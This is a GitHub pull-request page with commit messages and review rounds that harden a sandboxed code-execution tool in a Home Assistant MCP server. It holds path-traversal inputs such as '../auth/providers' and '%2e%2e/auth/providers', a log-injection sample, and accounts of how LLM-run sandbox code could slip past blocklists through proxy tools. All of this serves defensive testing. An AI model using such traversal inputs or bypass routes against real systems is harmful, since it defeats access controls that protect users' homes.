- ``SANDBOX_SYNTAX_UNSUPPORTED`` for ModuleNotFoundError /
  NotImplementedError / hard SyntaxError — suggestions name the
  injected helpers (no imports, no classes, no with/match).
- ``SANDBOX_RUNTIME_ERROR`` for everything else — suggestions name
  the actual exception type and the Monty/CPython divergences callers
  trip over most often (e.g. next() requires an iterator, await
  required on injected helpers).

The classifier inspects both ``type(exc).__name__`` and ``str(exc)``
because Monty wraps inner exceptions in MontyRuntimeError; matching
the wrapper name alone wouldn't distinguish a memory cap from an
unsupported feature.

Audit log
---------

Every state-changing sandbox call now logs a structured
``sandbox.api_post endpoint=... data_keys=...`` (or
``sandbox.ws_send type=...``) line at DEBUG level. Blocked attempts
log a ``sandbox.{api_post,ws_send}.blocked`` line at INFO level so
they're visible in default operator logs. DEBUG was chosen for the
allow-path instead of INFO because the typical per-execution call
volume (up to 100) would be excessive at INFO, and the operator can
escalate the ha_mcp.tools.tools_code logger when investigating.

Tests
-----

* ``TestCodeModeApiPostBlocklist`` (5 tests) — states/*, HA-internal
  events, custom-event positive case, automation/script/scene config.
* ``TestCodeModeWsSendBlocklist`` (4 tests) — config/core/update,
  lovelace/config/save, registry mutations, registry-list positive
  case.
* ``TestCodeModeErrorClassification`` (3 tests) — import → syntax,
  class definition → syntax, parse error → syntax.

Plus a quick standalone classifier sanity script verified all 9
exception-type → code mappings and all 12 endpoint-prefix decisions
locally.

Docs
----

``docs/beta.md`` Known limitations section gained three new
paragraphs: the safer-path enforcement (with the allow-list of what
stays unblocked), the new SANDBOX_* error codes, and the audit-log
toggle.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Implements the 4 real bugs, 3 doc fixes, and 3 test gaps identified by
the second-pass review of the persistence + blocklist work.

Bugs
----

* ``_API_POST_BLOCKED_PREFIXES``: removed the ``config/scene/config/``
  entry. The error message it returned told the LLM to use
  ``ha_config_set_scene``, which does not exist in the registered tool
  catalogue (no scene-related ``set`` tool exists at all). Blocking the
  REST path without a validated alternative was net-negative — it just
  removed capability. The block can come back when a wrapping tool
  lands; comment in the code records that decision.

* ``_save_saved_tools`` now returns ``bool`` and the persistence
  failure path is no longer silent. The save_as branch in
  ``ha_manage_custom_tool`` rolls back the in-memory cache on a False
  return and surfaces a ``save_warning`` field in the response, with
  ``saved_as`` reset to ``None``. ``_delete_saved_tool`` also rolls
  back on failure and returns ``{"error": ...}`` instead of the prior
  misleading ``{"deleted": True}``. Persistence was the documented
  contract of this PR, so the prior "log at WARNING and lie with
  success: True" behaviour was a real reliability gap, not just
  cosmetic.

* ``_load_saved_tools`` distinguishes ``FileNotFoundError`` (legitimate
  "starting empty") from other ``OSError``s (genuine I/O failure on
  an existing file). When the latter fires, a new module-level
  ``_saved_tools_load_failed`` flag suppresses subsequent persistence
  for the session — preventing a transient ``PermissionError`` at
  startup from cascading into "next save wipes out the unreadable
  file with empty content" data loss. The flag is cleared on the
  next successful load.

* The audit-log line now uses ``sorted(map(str, data.keys()))`` instead
  of ``sorted(data.keys())``. Monty allows mixed-type dict keys, and
  the previous form would raise ``TypeError`` on the first
  ``api_post("/foo", {1: "x", "a": "y"})`` invocation, propagating
  through the audit-log step into the catch-all ``except Exception``
  and surfacing as a generic "api_post failed" with no hint that the
  audit-log step was the real culprit.

Schema-version contract honoured
--------------------------------

``_load_saved_tools`` now actually reads ``data.get("version")`` and
refuses to interpret anything that isn't ``_SAVED_TOOLS_SCHEMA_VERSION``
(currently 1). The prior code wrote the version field but never
checked it, so a future v2 file would have been silently downgraded
to v1 semantics by current code. Mismatch sets the load-failed flag
so we don't atomically replace the unfamiliar file with our v1
shape.

Docs
----

* ``docs/beta.md`` audit-log paragraph now shows the correct
  ``configuration.yaml`` / ``logger.logs.<name>: debug`` snippet
  instead of the previous bogus "set ``logger
  ha_mcp.tools.tools_code: debug`` in your add-on configuration."
  (HA's logger integration lives in configuration.yaml, not addon
  options.)
* The "blocked endpoints" paragraph in beta.md was updated to match
  the now-shorter ``_API_POST_BLOCKED_PREFIXES`` and explicitly notes
  the scene exception.
* The stale ``ha_config_set_scene`` reference in the
  ``ha_config_set_yaml`` Known Limitations section (preexisting) was
  also removed since I was in the file.
* The ``_MAX_SAVED_TOOLS`` constant comment now mentions both load-
  and save-time enforcement; the ``_SAVED_TOOLS_SCHEMA_VERSION``
  comment matches reality (the load path actually consults it).
* The ``_API_POST_BLOCKED_PREFIXES`` block comment splits the
  conflated rationale into two flavours (no-legitimate-use-case vs
  has-wrapping-tool).

Tests
-----

* ``TestSaveSavedTools.test_returns_true_on_success`` and
  ``test_returns_true_when_path_unset`` pin the new bool contract.
* ``TestSchemaVersionGuard`` (3 tests) covers refusing unknown
  version, missing version field, and not overwriting an unfamiliar
  file.
* ``TestLoadFailedFlag`` (2 tests) covers flag-clear-on-success and
  save-skipped-when-set.
* ``TestHydrationRoundTrip`` (2 tests) covers the load→modify→save→
  reload lifecycle, which the original suite was missing.
* ``TestSaveCapEnforcement`` (2 tests) covers the load-side cap and
  pins that ``_save_saved_tools`` itself does not self-cap (the
  registration-site code is the upper-bound guard).

24 unit tests now pass (was 13). Lint/mypy/ast-grep clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The previous combined test parametrized both ``script`` and ``scene``
and asserted both were blocked, but the round-2 review correctly
flagged that ``config/scene/config/*`` should NOT be blocked because
no ``ha_config_set_scene`` wrapping tool exists to redirect to.
Removed the scene entry from ``_API_POST_BLOCKED_PREFIXES`` in
0bb0dec but missed updating this test, which caught the regression
in CI on both runners.

Replace with two tests:

* ``test_api_post_blocks_script_config_write`` — single-kind
  assertion for script (the only one of the two with a wrapping
  tool).
* ``test_api_post_allows_scene_config_write`` — positive assertion
  that scene writes are NOT sandbox-blocked. The HA endpoint may
  reject the body for legitimate reasons (schema, missing fields),
  but the sandbox-side blocklist must not be the cause. This will
  fail loudly if a future maintainer adds the block back without
  also adding the wrapping tool.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…ch76 review findings

Implements the 9-item plan in
homeassistant-ai#854 (comment)
addressing the CHANGES_REQUESTED review at
homeassistant-ai#854 (review)
on commit 11ba402.

Blocker 1 — recursive-self-call guard bypassable via ha_call_write_tool
-----------------------------------------------------------------------

Two-layer fix:

* ``CategorizedSearchTransform`` gains an ``enable_code_mode: bool``
  constructor parameter (default False, preserves prior behaviour for
  installations that aren't running code mode). When True,
  ``_rebuild_category_cache`` swaps ``get_tool_catalog(ctx)`` for
  ``_get_visible_tools(ctx)`` — the same FastMCP helper that
  ``BM25SearchTransform`` already uses. Pinned tools (including
  ``ha_manage_custom_tool``) drop out of ``_read_tools`` /
  ``_write_tools`` / ``_delete_tools``, so ``categorized_call`` for a
  pinned name falls through to the ``RESOURCE_NOT_FOUND`` branch
  rather than dispatching the underlying tool. ``server.py`` flips the
  flag on whenever ``settings.enable_code_mode`` is True.

* ``_BLOCKED_TOOLS`` (sandbox-side defense in depth) now also includes
  the four search-transform synthetics: ``ha_search_tools``,
  ``ha_call_read_tool``, ``ha_call_write_tool``, ``ha_call_delete_tool``.
  Even if a future regression re-enables the proxy dispatch, sandbox
  code can't reach the laundering path. Direct calls to underlying
  tools by their real name (``call_tool("ha_get_history", ...)``) keep
  working — the block is on the synthetics only, so individual
  underlying tools can still be denylisted in the future without
  needing to rework the proxy.

Blocker 2 — ``..`` traversal in ``_normalize_endpoint``
-------------------------------------------------------

httpx happily resolves ``base_url='http://ha:8123/api'`` +
``../auth/providers`` to ``http://ha:8123/auth/providers``, escaping
the ``/api/`` prefix. After ``lstrip("/")`` and the optional ``api/``
strip, ``_normalize_endpoint`` now splits on ``/`` and rejects any
segment exactly equal to ``..``. ``..bar`` (filename starting with
two dots) and ``...`` (three dots) stay allowed — they aren't
traversal segments, just unusual filenames.

Verified against 12 endpoint cases covering all 4 traversal patterns
plus prior security guards (absolute URL, protocol-relative,
userinfo) still holding.

Additional registry blocks (``_BLOCKED_WS_COMMANDS``)
-----------------------------------------------------

Added 9 entries for floor / label / category registry mutations to
match the existing area / device / entity coverage. Each has a
wrapping MCP tool (``ha_config_set_floor`` / ``ha_config_set_label`` /
``ha_config_set_category``) so the same "force through the validated
path" rationale applies.

Additional event blocks (``_BLOCKED_HA_INTERNAL_EVENTS``)
---------------------------------------------------------

Added ``script_finished`` (pairs with the existing ``script_started``
block) and ``logbook_entry`` (this event IS the documented logbook
write API; spoofing injects fabricated rows directly into the user's
primary investigation tool — data-integrity issue, not just attack
surface). ``automation_triggered`` and ``call_service`` stay allowed
— legit "verify my handler reacts" use cases and downstream
consumers can already check event context for provenance.

``list_saved`` shape — nest under ``data.saved_tools``
------------------------------------------------------

``_SAVE_NAME_PATTERN`` accepts every key the *other* response shapes
use (``result``, ``code``, ``justification``, ``saved_tool``, ``count``).
A consumer doing ``r["data"]["result"]`` after a list_saved call
would have gotten a saved-tool entry instead of a run-result. Fixed
by nesting the dict under a stable ``saved_tools`` key. Updated
``test_list_saved_tools`` to pin the new shape.

Log injection (``%s`` interpolation of LLM-controlled strings)
--------------------------------------------------------------

Added ``_log_safe`` helper that replaces ``\r`` / ``\n`` / ``\t``
with spaces and truncates to 200 chars. Applied to the
``ha_manage_custom_tool invoked — justification: %s`` log line at
``tools_code.py:1151`` so an LLM-supplied
``"real reason\nFAKE_CRITICAL: …"`` cannot inject a synthetic second
log line. Audit-log endpoint/type fields use ``%r`` already which
escapes via repr(); no change needed there. The DEBUG-level
``code:\n%s`` line stays raw — multi-line is intentional (operator's
primary forensic artefact) and the format string already opens a
fresh line so there's nothing to inject into.

Tests
-----

* ``TestCodeModeAdditionalResourceLimits`` (3 tests) —
  memory / recursion / invocation-cap. Previous suite only covered
  timeout.
* ``TestCodeModeNormalizeEndpointTraversal`` (1 parametrized test, 4
  rows) — all 4 ``..`` traversal patterns reject.
* ``TestCodeModeProxyLaunderingBlocked`` (1 parametrized test) —
  ``call_tool`` to each of the 4 search synthetics returns the
  ``AUTH_INSUFFICIENT_PERMISSIONS`` block.
* ``test_list_saved_tools`` updated to verify new
  ``data.saved_tools[name]`` + ``data.count`` shape.
* ``test_save_warning_rollback_shape`` (skipped) — placeholder noting
  that the unit suite covers the persistence-failure rollback;
  E2E coverage requires runtime filesystem poisoning the addon
  container model doesn't expose.

Lint/mypy/ast-grep all clean. 24 unit tests still pass.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…test

The two failing E2Es from 3f508f0 were both written against a Monty
sandbox that doesn't expose the primitives I assumed:

* ``test_memory_limit_enforced`` used ``bytearray(N)`` — Monty raises
  ``LookupError: Unable to find 'bytearray' in external functions
  dict`` because ``bytearray`` isn't an injected helper, so the test
  hit ``SANDBOX_RUNTIME_ERROR`` instead of the intended
  ``SANDBOX_LIMIT_EXCEEDED``. Replaced with a string-multiplication
  allocation (``'x' * (12 * 1024 * 1024)``) which uses only the
  string-multiply operator — no builtin lookup — and produces a 12 MB
  allocation that exceeds the 10 MB ``CODE_MODE_MAX_MEMORY`` default.

* ``test_recursion_limit_enforced`` used an assigned recursive lambda
  (``f = lambda n: 1 if n <= 0 else 1 + f(n - 1); f(500)``). Monty
  doesn't resolve the lambda's binding name from inside its own body
  (``LookupError: Unable to find 'f' in external functions dict``) so
  the recursion never actually starts. The test was structurally
  incapable of triggering the limit. Renamed to
  ``test_recursion_limit_unreachable_from_user_code`` and replaced
  with a documenting ``pytest.skip`` that explains why no E2E variant
  is possible — Monty doesn't allow ``def`` and assigned lambdas
  can't recurse — and points at the unit-level coverage that locks
  in the classifier mapping.

Also added ``tests/src/unit/test_classify_sandbox_error.py`` (10
tests) covering ``_classify_sandbox_error`` directly: each of the
three buckets (LIMIT_EXCEEDED, SYNTAX_UNSUPPORTED, RUNTIME_ERROR)
gets its trigger exception types exercised, including the
``RecursionError`` path the E2E can't reach and the
``LookupError: Unable to find 'X' in external functions dict``
that Monty produces for missing builtins (it falls into the default
``SANDBOX_RUNTIME_ERROR`` bucket — the right call because the
"use the injected helpers" advice is already in the default
suggestions).

The other 5 new E2E tests from 3f508f0 (invocation cap, traversal,
proxy laundering blocked × 4) all passed in CI; only the two above
were broken.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…clean uv.lock

Rebased on current upstream/master (was 8 commits behind) and
regenerated uv.lock so it adds only ``pydantic-monty==0.0.9`` —
the prior lockfile carried 8 unrelated package downgrades that the
fresh resolver pass clears (M1).

H1 — entity_registry/remove + device_registry/remove_config_entry
-----------------------------------------------------------------

The blocklist was using ``config/entity_registry/delete`` and
``config/device_registry/delete`` — neither is a registered HA Core
WS command. Verified ha-mcp itself emits the actually-registered
names: ``tools_entities.py:1130`` uses ``config/entity_registry/remove``
and ``tools_registry.py:753`` uses
``config/device_registry/remove_config_entry``. A sandbox
``ws_send({"type": "config/entity_registry/remove", ...})`` was
slipping past the blocklist and bypassing ``ha_remove_entity``'s
wrapping checks.

Added both real names to ``_BLOCKED_WS_COMMANDS``. Left the dead
``*_registry/delete`` strings as-is — over-blocking inert names is
harmless, under-blocking real ones is the bug.

M2 — percent-encoded ``..`` traversal
-------------------------------------

The segment-loop check at ``_normalize_endpoint`` rejects literal
``..`` segments but treats ``%2e%2e`` as a normal segment. httpx
itself doesn't decode at the transport level, but reverse proxies
(nginx with config drift, traefik with custom routers) sometimes
decode-then-resolve, which would let ``%2e%2e/auth/providers``
escape ``/api/`` server-side. Each segment is now passed through
``urllib.parse.unquote`` before the ``..`` comparison so encoded
forms can't slip past.

M3 — naked list returns from ``_extract_tool_result``
-----------------------------------------------------

The basic-types tuple at line 566 didn't include ``list``, so a
tool returning a plain ``[{"id": 1}, ...]`` fell into the
ToolResult-extraction branch, found no ``.text`` on its dict
elements, and got string-repr'd. Sandbox code ended up with
``"[{'id': 1}, ...]"`` instead of an iterable list.

Lists are now passed through when they don't look like FastMCP's
content-block shape (heuristic: first element has ``.text`` or
``.type`` — the two attributes content blocks always carry). Plain
data lists pass straight to the sandbox.

L1 — sandbox-side error shape contract documented
--------------------------------------------------

Patch76 noted that sandbox code sees two error shapes
(``{"error": str}`` from the bridge helpers, ``{"success": False,
"error": {"code", "message"}}`` from ``_sandbox_error``) and
suggested standardizing on the structured shape. Standardizing
that direction would have changed ~15 existing tests that do
``result.get("error", "").lower()`` blindly. The simpler
``{"error": str}`` shape is what most helpers and tests already
assume, and the structured form has real value for ``call_tool``
(propagates the underlying tool's ``ErrorCode``).

Resolved instead by making the contract explicit in the
``_run_sandboxed_code`` docstring: both shapes are documented,
consumers should always probe with ``if "error" in result:``
before indexing. Same UX outcome (consumers know what to
expect) without churning the tests.

L2 — switched ``%r`` for the justification log line
---------------------------------------------------

Removed the ``_log_safe`` helper and inlined ``%r`` (repr())
for the LLM-supplied ``justification`` log line, matching the
``%r`` already used for endpoint/type fields in the audit-log
lines. ``%r`` escapes ``\r`` / ``\n`` / ``\t`` as literal
``\r`` / ``\n`` / ``\t`` sequences in formatted output — same
log-injection prevention as ``_log_safe`` but consistent with
the rest of the file.

L4 / L5 / L6 — clarifying comments
----------------------------------

* L4: Note next to the ``_saved_tools_load_failed`` read in
  ``_save_saved_tools`` that the read is intentionally without
  ``global`` — Python doesn't require it for read-only access.
* L5: One-line clarification in ``_normalize_endpoint``'s
  docstring that ``@`` later in the path (``events/foo@bar``)
  is acceptable — only userinfo position (before the first
  ``/``) is the credential-leaking shape.
* L6: Block comment on the ``_saved_tools`` module-level
  declaration explaining *why* it's at module level
  (cross-call persistence is the documented contract;
  per-request scope wouldn't allow ``run_saved`` to see prior
  ``save_as`` writes), and pointing at
  ``code_mode_saved_tools_path`` as the persistence boundary.

Test expansion — full ``_BLOCKED_WS_COMMANDS`` parametrize
----------------------------------------------------------

``test_ws_send_blocks_command`` now parametrizes over all 25
entries in ``_BLOCKED_WS_COMMANDS`` (was: 3 hand-picked cases).
The "blocklist names a command HA Core doesn't accept" class
of bug surfaces in CI now: if the blocklist drops an entry,
the corresponding parametrize row fails; if HA Core renames a
command, the test fails with the now-stale name still in the
parametrize list and a maintainer notices.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
@kingpanther13
kingpanther13 force-pushed the feat/execute-code-tool branch from 144122a to 58899e8 Compare May 6, 2026 21:28

@Patch76 Patch76 left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Round-4 verification at HEAD 58899e8b. All 10 round-3 findings (H1, M1, M2, M3, L1–L6) are resolved at the source level — _BLOCKED_WS_COMMANDS now contains config/entity_registry/remove and config/device_registry/remove_config_entry (tools_code.py:175,182), _normalize_endpoint calls urllib.parse.unquote(segment) (tools_code.py:704), _extract_tool_result has the new list branch (tools_code.py:564-568), _log_safe and _LOG_CONTROL_CHARS_MAP are deleted, %r standardization is consistent across the audit lines, the docstring contract for sandbox error shapes is clear (tools_code.py:621-642), and the L4/L5/L6 inline comments landed. uv.lock is clean against current master — only pydantic-monty==0.0.9 added, zero unrelated downgrades.

One round-4-specific observation worth landing in this PR before merge:

M-A — %2e%2e test coverage missing for the M2 source fix

tests/src/e2e/tools/test_create_custom_tool.py:1717-1722 — the existing TestCodeModeNormalizeEndpointTraversal parametrize covers four literal .. variants but no percent-encoded ones. The round-3 M2 fix at tools_code.py:704 adds urllib.parse.unquote(segment) specifically for %2e%2e — but a future refactor that drops the unquote call would not fail any existing parametrize row, silently re-opening the attack surface.

Suggested addition (two lines, inline with the existing list):

"%2e%2e/auth/providers",      # percent-encoded ..
"%2E%2E/auth/providers",      # uppercase percent-encoded

Pins the regression bar for the specific attack variant the round-3 review called out, in the same idiom as the existing rows.

Out of scope for this PR (notes for follow-up)

  • M-B_extract_tool_result's new list-passthrough branch (tools_code.py:564-568) has no direct test exercising [{"id": 1}, ...] shapes. Contract-pin, not security-load-bearing.
  • L-A — the content-block heuristic at tools_code.py:564-568 uses hasattr only. Raw-dict content blocks (theoretical for current FastMCP, where blocks are Pydantic models) would be misclassified because hasattr({"type": "text", ...}, "text") returns False. The comment above says "or being a content-block dict" but the code doesn't check dict-key shape. One-line widening (isinstance(result[0], dict) and ("text" in result[0] or "type" in result[0])) would close the gap if FastMCP ever ships dict content blocks.

…ugh contract

Addresses round-4 review findings.

M-A — percent-encoded ``..`` traversal regression bar
-----------------------------------------------------

Two new parametrize rows in
``TestCodeModeNormalizeEndpointTraversal::test_api_get_rejects_dot_dot_segment``:

* ``%2e%2e/auth/providers`` (lowercase percent-encoded)
* ``%2E%2E/auth/providers`` (uppercase percent-encoded)

The round-3 M2 source fix added ``urllib.parse.unquote(segment)``
specifically to catch this attack variant on reverse-proxy setups
that decode-then-resolve. Without these test rows, a future refactor
that drops the ``unquote`` call would silently re-open the surface —
no existing parametrize row covers it.

Verified locally that ``urllib.parse.unquote`` resolves both case
variants (``%2e%2e``, ``%2E%2E``, mixed ``%2e%2E``) to ``..`` so the
existing segment guard fires identically.

M-B — ``_extract_tool_result`` naked-list passthrough
-----------------------------------------------------

New unit suite ``tests/src/unit/test_extract_tool_result.py`` covering
the M3 round-3 fix at the helper level:

* Basic-type passthrough (``str``, ``int``, ``float``, ``bool``,
  ``None``, ``dict``).
* Naked-list passthrough — the M3 contract. Lists of dicts, strings,
  ints, mixed basic types, empty list, and dicts whose keys aren't
  content-block keys all reach the sandbox as iterable lists rather
  than ``str(list)`` reprs. The example Patch76 explicitly cited
  (``[{"id": 1}, {"id": 2}]``) is one of the rows.
* Attribute-style content blocks (FastMCP's current Pydantic-model
  shape) get extracted and JSON-decoded — distinguishes them from
  the naked-list case.
* End-to-end ToolResult extraction: JSON payload, plain-text payload,
  ``isError=True`` wrapping in ``{"error": ...}``.

L-A note (left as-is, per follow-up scope)
------------------------------------------

The dict-content-block heuristic widening Patch76 suggested
(``isinstance(result[0], dict) and ("text" in result[0] or "type" in
result[0])``) was originally implemented in this commit but reverted.
FastMCP currently ships content blocks as Pydantic model objects so
``hasattr`` matches; a future switch to raw-dict blocks would
misclassify them as a "data list" and pass them through, which still
reaches the sandbox as a readable list of dicts (slightly weird shape
but not a bug today). Forward-compat speculation, not a real-world
regression — keeping out per "follow-up scope" guidance.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
@kingpanther13

Copy link
Copy Markdown
Member Author

Round-4 review response

Lands in 8c007405.

M-A — %2e%2e test coverage ✅ added

TestCodeModeNormalizeEndpointTraversal::test_api_get_rejects_dot_dot_segment now parametrizes over two more rows alongside the existing four:

"%2e%2e/auth/providers",      # lowercase percent-encoded
"%2E%2E/auth/providers",      # uppercase percent-encoded

Verified locally that urllib.parse.unquote resolves both case variants to .. so the existing segment guard fires identically. A future refactor dropping the unquote(segment) call now fails CI on these rows.

M-B — _extract_tool_result list-passthrough contract ✅ pinned

New unit suite at tests/src/unit/test_extract_tool_result.py (16 tests) covering:

  • Basic-type passthrough (str / int / float / bool / None / dict)
  • Naked-list passthrough — the M3 contract. Lists of dicts, strings, ints, mixed basic types, empty list, and dicts whose keys aren't content-block keys all reach the sandbox as iterable lists rather than str(list) reprs. The [{"id": 1}, {"id": 2}] example you cited is one of the rows.
  • Attribute-style content blocks (FastMCP's current Pydantic-model shape) get extracted and JSON-decoded — distinguishes them from the naked-list case.
  • End-to-end ToolResult extraction: JSON payload, plain-text payload, isError=True wrapping in {"error": ...}.

L-A — dict-content-block widening: deliberately deferred

Originally widened the heuristic to:

isinstance(result[0], dict) and ("text" in result[0] or "type" in result[0])

Reverted before commit. FastMCP currently ships content blocks as Pydantic model objects, so hasattr matches today. A future switch to raw-dict blocks would misclassify them as "data list" and pass them through, but the failure mode is still a readable list of dicts reaching the sandbox — slightly weird shape, not a real-world bug. Keeping the heuristic narrower until FastMCP actually changes the shape; happy to widen in a follow-up if/when that lands.

@kingpanther13
kingpanther13 disabled auto-merge May 7, 2026 13:31

@Patch76 Patch76 left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Round-5 verified at HEAD 8c007405. Both round-4 items addressed; the L-A decline is reasonable.

  • M-ATestCodeModeNormalizeEndpointTraversal::test_api_get_rejects_dot_dot_segment parametrize at tests/src/e2e/tools/test_create_custom_tool.py:1718-1730 is now 6 rows (4 prior + %2e%2e lowercase + %2E%2E uppercase). Each new row exercises urllib.parse.unquote at tools_code.py:705 — a future refactor dropping the unquote call would now fail CI on these rows.
  • M-B — new tests/src/unit/test_extract_tool_result.py (16 tests across 4 classes) pins basic-type passthrough, naked-list passthrough (including the [{"id":1},{"id":2}] example from round-3 with an explicit comment naming the round-3 callout), attribute-style content-block extraction, and ToolResult-level extraction (JSON/text/isError wrapping). All 16 pass locally.
  • L-A — declined with reasoning (FastMCP currently ships Pydantic-model content blocks so hasattr matches; a future raw-dict shape change would land readable lists in the sandbox rather than a real bug). The decline is cleanly bounded — no test was committed that would silently break under the unchanged heuristic.

Round-1-through-3 fixes all intact at HEAD: H1 absolute-URL guard at tools_code.py:686-689, M1 @-userinfo guard at :691-695, M2 ..-segment plus percent-decoded guard at :704-710, M3 naked-list passthrough heuristic at :564-569. Round-5 diff is test-only (+156 lines, 0 production), so no regression surface.

@kingpanther13
kingpanther13 merged commit 15b48bb into homeassistant-ai:master May 7, 2026
15 checks passed
@github-actions

github-actions Bot commented May 7, 2026

Copy link
Copy Markdown
Contributor

🧪 Your changes are now in the dev channel!

Your PR has been merged to master and is available for testing in the dev channel.

Test your changes before the next stable release (biweekly Wednesday):
📖 Dev Channel Documentation

Quick start

# Run dev version
uvx ha-mcp-dev

# Check version
uvx ha-mcp-dev --version

Docker:

docker pull ghcr.io/homeassistant-ai/ha-mcp:dev
docker run --rm -i \
  -e HOMEASSISTANT_URL=http://your-ha:8123 \
  -e HOMEASSISTANT_TOKEN=your_token \
  ghcr.io/homeassistant-ai/ha-mcp:dev

Found an issue? Please open a new bug report and mention this PR for context.

eleboucher pushed a commit to eleboucher/homelab that referenced this pull request May 13, 2026
…→ 7.5.0) (#455)

This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [ghcr.io/homeassistant-ai/ha-mcp](https://github.com/homeassistant-ai/ha-mcp) | minor | `7.4.0` → `7.5.0` |

---

> ⚠️ **Warning**
>
> Some dependencies could not be looked up. Check the [Dependency Dashboard](issues/3) for more information.

---

### Release Notes

<details>
<summary>homeassistant-ai/ha-mcp (ghcr.io/homeassistant-ai/ha-mcp)</summary>

### [`v7.5.0`](https://github.com/homeassistant-ai/ha-mcp/blob/HEAD/CHANGELOG.md#v750-2026-05-13)

[Compare Source](homeassistant-ai/ha-mcp@v7.4.0...v7.5.0)

##### Added

- Add ENABLE\_LITE\_DOCSTRINGS beta toggle
  ([#&#8203;1259](homeassistant-ai/ha-mcp#1259))
- Add ha\_call\_event tool for publishing events on the HA event bus ([#&#8203;996](homeassistant-ai/ha-mcp#996))
  ([#&#8203;1239](homeassistant-ai/ha-mcp#1239))
- Pinpoint backslash-escape mistake in python\_sandbox errors
  ([#&#8203;1204](homeassistant-ai/ha-mcp#1204))
- Reject empty-trigger automations targeting scene.create
  ([#&#8203;1187](homeassistant-ai/ha-mcp#1187))
- Add scene config tools — ha\_config\_get/set/remove\_scene
  ([#&#8203;1168](homeassistant-ai/ha-mcp#1168))
- **addon**: Optional OAuth 2.1 mode for webhook proxy (beta)
  ([#&#8203;1184](homeassistant-ai/ha-mcp#1184))
- Surface helper schema inline in ha\_config\_set\_helper validation errors ([#&#8203;1149](homeassistant-ai/ha-mcp#1149))
  ([#&#8203;1179](homeassistant-ai/ha-mcp#1179))
- Emit progress via FastMCP Context in long-running tools
  ([#&#8203;1124](homeassistant-ai/ha-mcp#1124))
- Broaden python\_transform AST allowlist + improve error UX
  ([#&#8203;1163](homeassistant-ai/ha-mcp#1163))
- Add ha\_manage\_custom\_tool — sandboxed code execution escape hatch
  ([#&#8203;854](homeassistant-ai/ha-mcp#854))
- Always-on skills; rename list/read resource tools with ha\_ prefix
  ([#&#8203;1136](homeassistant-ai/ha-mcp#1136))
- Expose device\_class + options on ha\_set\_entity / ha\_get\_entity (Show As)
  ([#&#8203;1135](homeassistant-ai/ha-mcp#1135))
- **site**: Inline wizard data into setup.astro, migrate setup nuggets, drop content collections
  ([#&#8203;1120](homeassistant-ai/ha-mcp#1120))
- Add "Advanced debug logging" toggle for kill-signal diagnostics
  ([#&#8203;1117](homeassistant-ai/ha-mcp#1117))
- **yaml**: Scoped lovelace.dashboards.\<url\_path> support (issue [#&#8203;1034](homeassistant-ai/ha-mcp#1034))
  ([#&#8203;1103](homeassistant-ai/ha-mcp#1103))
- Add HA\_VERIFY\_SSL toggle to disable TLS verification
  ([#&#8203;1104](homeassistant-ai/ha-mcp#1104))
- Per-top-level-key config\_hash for ha\_manage\_energy\_prefs ([#&#8203;1049](homeassistant-ai/ha-mcp#1049))
  ([#&#8203;1098](homeassistant-ai/ha-mcp#1098))
- **site**: Add gemini-cli setup notes + compose hardening to wizard ([#&#8203;1027](homeassistant-ai/ha-mcp#1027))
  ([#&#8203;1087](homeassistant-ai/ha-mcp#1087))
- Add convenience modes to ha\_manage\_energy\_prefs ([#&#8203;1050](homeassistant-ai/ha-mcp#1050))
  ([#&#8203;1073](homeassistant-ai/ha-mcp#1073))
- Surface integration log levels in ha\_get\_logs/integration/addon ([#&#8203;956](homeassistant-ai/ha-mcp#956))
  ([#&#8203;1003](homeassistant-ai/ha-mcp#1003))
- Expose allowlist\_external\_dirs in ha\_get\_overview full system\_info
  ([#&#8203;1053](homeassistant-ai/ha-mcp#1053))
- **dashboards**: Unify identifier handling in ha\_config\_\*\_dashboard tools ([#&#8203;981](homeassistant-ai/ha-mcp#981))
  ([#&#8203;1075](homeassistant-ai/ha-mcp#1075))
- Include addon container logs in bug reports
  ([#&#8203;934](homeassistant-ai/ha-mcp#934))
- Add WebSocket response-shaping controls to ha\_manage\_addon
  ([#&#8203;1009](homeassistant-ai/ha-mcp#1009))
- Web-based settings UI for per-tool enable/disable/pin
  ([#&#8203;960](homeassistant-ai/ha-mcp#960))
- **site**: Add OpenCode support to setup wizard
  ([#&#8203;1080](homeassistant-ai/ha-mcp#1080))

##### Changed

- Clarify standard-mode HTTP deployment guidance
  ([#&#8203;1185](homeassistant-ai/ha-mcp#1185))
- Add Cloudflared add-on hostname alternative for tunnel service
  ([#&#8203;1183](homeassistant-ai/ha-mcp#1183))
- Align tool naming convention between AGENTS.md and styleguide ([#&#8203;943](homeassistant-ai/ha-mcp#943))
  ([#&#8203;1174](homeassistant-ai/ha-mcp#1174))
- **addon**: Note tool-list ([#&#8203;985](homeassistant-ai/ha-mcp#985 divergence; fix [#&#8203;1139](https://github.com/homeassistant-ai/ha-mcp/issues/1139)/[#&#8203;1162](https://github.com/homeassistant-ai/ha-mcp/issues/1162) test conflict
  ([#&#8203;1172](homeassistant-ai/ha-mcp#1172))
- Add brew install option for mcp-proxy on macOS
  ([#&#8203;1171](homeassistant-ai/ha-mcp#1171))
- Update contributors list \[contributors-updated]
  ([`aba01a1`](homeassistant-ai/ha-mcp@aba01a1))
- Warn against enable\_tool\_search on Claude Sonnet/Opus ([#&#8203;1088](homeassistant-ai/ha-mcp#1088))
  ([#&#8203;1140](homeassistant-ai/ha-mcp#1140))
- Address [#&#8203;1094](homeassistant-ai/ha-mcp#1094) review nits on OpenCode mirror comments
  ([#&#8203;1105](homeassistant-ai/ha-mcp#1105))

##### Fixed

- **integrations**: Surface ConfigEntry.options via OptionsFlow probe
  ([#&#8203;1245](homeassistant-ai/ha-mcp#1245))
- **backup**: Discover local agent at call time instead of hardcoding hassio.local
  ([#&#8203;1244](homeassistant-ai/ha-mcp#1244))
